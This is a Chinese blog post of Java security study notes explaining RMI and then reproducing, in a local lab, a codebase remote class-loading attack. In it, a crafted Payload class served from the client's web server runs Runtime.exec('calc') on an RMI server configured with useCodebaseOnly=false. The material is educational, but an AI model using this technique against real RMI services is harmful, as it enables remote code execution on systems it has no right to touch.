java安全学习笔记2

基础知识

RMI的三个组成部分:
  • Registry:类似电话簿。只负责记录哪个名字对应哪个对象。
  • Server:真正干活的人,提供实际的函数逻辑,并把自己的引用注册到Registry上。
  • Client:调用者。先查Registry,拿到Server的存根(stub),然后直接找Server办事。

RMI的连接过程:

  • 第一次连接:Client->Registry(1099端口)

client问Hello在哪?Registry回答Hello在192.168.x.x的33789端口。这里传输序列化数据。

  • 第二次连接:Client->Server(随机的33789端口)

Client说我要调用hello()方法。Server执行后返回结果。

简单RMI实现代码(因为没系统学过Java,所以有一些疑问我让ai给了注释放里面了):

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package org.vulhub.RMI; // 假设包名为 org.vulhub.RMI

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {

// ==========================================
// 【问题 3 解答】:为什么只有定义?
// C语言类比:这相当于 .h 头文件。
// Python类比:相当于抽象基类 (Abstract Base Class)。
// 作用:这是一份“契约/菜单”。客户端在本地没有服务端的具体代码,
// 但只要手里有这份接口定义,就知道服务端提供了什么方法,从而敢放心调用。
// extends Remote:这是 RMI 的硬性规定,标记该接口可被远程调用。
// ==========================================
public interface IRemoteHelloWorld extends Remote {
// 必须抛出 RemoteException,因为网络通信是不可靠的,客户端需要处理网络错误
public String hello() throws RemoteException;
}

// ==========================================
// 【问题 1 解答】:为什么定义内部类?为什么构造函数抛异常?
// 1. 内部类:纯粹为了省事(演示方便),不用新建一个 .java 文件。
// 就像 Python 在一个脚本里写多个 class。在真实工程中通常是独立文件。
// 2. 抛异常:这是 Java 特有的“检查型异常”机制。
// 父类 UnicastRemoteObject 的构造函数里做了 socket 监听操作,声明了“可能会报错”。
// Java 编译器强制规定:子类在初始化父类(super())时,必须对外声明同样的风险。
// ==========================================
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {

protected RemoteHelloWorld() throws RemoteException {
super(); // 调用父类构造函数,开启随机端口监听 TCP 连接
}

// 实现接口中定义的方法
public String hello() throws RemoteException {
// 这行代码是在【服务端】执行的,只有服务端的控制台会打印
System.out.println("call from");
return "Hello world"; // 返回值会被序列化,通过网络传回给客户端
}
}

private void start() throws Exception {
// 实例化对象。注意:此时它已经在随机端口监听 TCP 连接了(等待客户端的第二次连接)。
RemoteHelloWorld h = new RemoteHelloWorld();

// 启动“电话查号台”(Registry),监听 1099 端口(客户端的第一次连接)。
LocateRegistry.createRegistry(1099);

// ==========================================
// 【问题 2 解答】:rebind 只是注册,怎么知道调哪个方法?
// 类比:这里只是在电话黄页上登记: "Hello" -> "h 对象 (IP:Port)"。
// Naming.rebind 只负责让客户端能“找到”这个对象。
// 至于客户端找到后是调用 hello() 还是其他方法,由客户端代码决定。
// ==========================================
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

// ==========================================
// 【问题 4 解答】:为什么 main 函数定义在类里面?
// C语言类比:Java 不允许存在脱离 Class 的全局函数(没有 global scope)。
// 所以入口函数 main 只能“寄生”在某个类里。
// static 意味着它属于类本身,不依赖对象实例,约等于 C 的全局函数。
// ==========================================
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.vulhub.Train; // 假设包名为 org.vulhub.Train

// ==========================================
// 【问题 5 解答】:现实场景中怎么引入源码?
// 现实中,Client 和 Server 分离(甚至在不同国家)。
// 做法:服务端开发者会把 IRemoteHelloWorld 接口(不包含实现类)编译并打成一个 .jar 包。
// 客户端下载这个 jar 包,import 进来,就能通过编译了。
// 这里因为演示代码在同一个工程里,所以直接 import 了服务端的类。
// ==========================================
import org.vulhub.RMI.RMIServer;

import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class TrainMain {
public static void main(String[] args) throws Exception {

// ==========================================
// 【问题 6 解答】:为什么是实现接口,而不是实例化类?
// 核心原因:你不能 new 一个在别人电脑上的对象。
// Naming.lookup 返回的其实是一个“替身”(Stub/代理对象)。
// 这个替身在网络层面伪装成了服务端对象,在 Java 语法层面宣称自己实现了 IRemoteHelloWorld 接口。
// 所以我们强制转换成接口类型 (Interface),而不是具体类 (Class)。
// ==========================================
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.135.142:1099/Hello");

// ==========================================
// 【问题 2 补充】:怎么知道调哪个方法?
// 在这里!客户端拿到了“替身” hello,代码里显式写了调用 .hello() 方法。
// “替身”会通过网络把这个请求(方法名、参数)发给服务端。
// ==========================================
String ret = hello.hello();

System.out.println(ret);
}
}

codebase:

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,与CLASSPATH很像,但是CLASSPATH是本地路径,而codebase通常是远程url。若我们指定codebase=http://example.com,然后加载org.test.example.Example类,则Java虚拟机会下载http://example.com/org/test/example/Example.class,并作为Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

RMI利用

在RMI中,如果我们可以控制codebase,那我们就可以去任意的加载我们的恶意类从而实现我们的想法。

但是官方也注意到了这个隐患,所以如果想通过codebase去利用,还需要:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false

若java.rmi.server.useCodebaseOnly为true,则Java虚拟机只信任预先配置好的codebase,不再支持从RMI请求中获取

复现流程:

首先我的目录是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rmitest
├─ .gitignore
├─ Calc.class
├─ Calc.java
├─ client.policy
├─ ICalc.class
├─ ICalc.java
├─ RemoteRMIServer.class
├─ RemoteRMIServer.java
├─ RMIClient.java
├─ rmitest.iml
└─ client
├─ ICalc.class
├─ RMIClient$Payload.class
└─ RMIClient.class

然后是每个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
1
2
3
4
5
6
7
ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
1
2
3
4
client.policy
grant {
permission java.security.AllPermission;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setProperty("java.security.policy","D:\\javasec\\javaproject\\rmitest\\client.policy");
System.setProperty("java.rmi.server.hostname","10.252.92.135");
System.setProperty("java.rmi.server.useCodebaseOnly","false");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {

public static class Payload extends ArrayList<Integer> {

static {
try {
System.out.println("Pwned! I am running on Server!");

Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}

public void lookup() throws Exception {

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1/");

ICalc r = (ICalc)Naming.lookup("rmi://127.0.0.1:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}

public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

然后在根目录下执行javac *.java编译所有文件,编译好了之后按照我的文件树放置文件。其实主要就2点,RemoteRMIServer.class 目录下没有RMIClient.classRMIClient$Payload.class,然后client目录下得有ICalc.class这个接口类。然后在client下开启web服务。

服务端执行:

1
2
3
D:\javasec\javaproject\rmitest>java RemoteRMIServer
setup SecurityManager
Pwned! I am running on Server!

client目录下执行:

1
2
3
D:\javasec\javaproject\rmitest\client>java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://10.252.92.135/ -Djava.security.policy=client.policy RMIClient
Pwned! I am running on Server!
7

同样的client目录下开启web服务:

1
2
3
D:\javasec\javaproject\rmitest\client>python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:127.0.0.1 - - [16/Dec/2025 09:19:10] "GET /RMIClient$Payload.class HTTP/1.1" 200 -

gemini的指导:

序列化数据复现:

目前还没学习反序列化,就没去复现了。

表述能力有限,建议各位还是看p神星球里的pdf。在pdf中p神详细讲述了RMI中的序列化数据


java安全学习笔记2
https://rightevil.github.io/java安全学习笔记2/
作者
rightevil
发布于
2025年12月16日
许可协议